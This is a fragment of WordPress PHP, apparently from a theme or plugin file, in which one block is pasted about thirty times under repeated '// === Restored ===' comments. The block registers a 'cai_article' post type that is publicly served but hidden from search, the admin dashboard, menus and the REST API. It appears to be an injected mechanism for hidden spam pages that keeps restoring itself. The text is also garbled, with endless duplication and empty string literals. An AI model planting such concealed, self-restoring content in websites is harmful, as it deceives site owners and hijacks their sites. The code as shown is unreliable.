"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
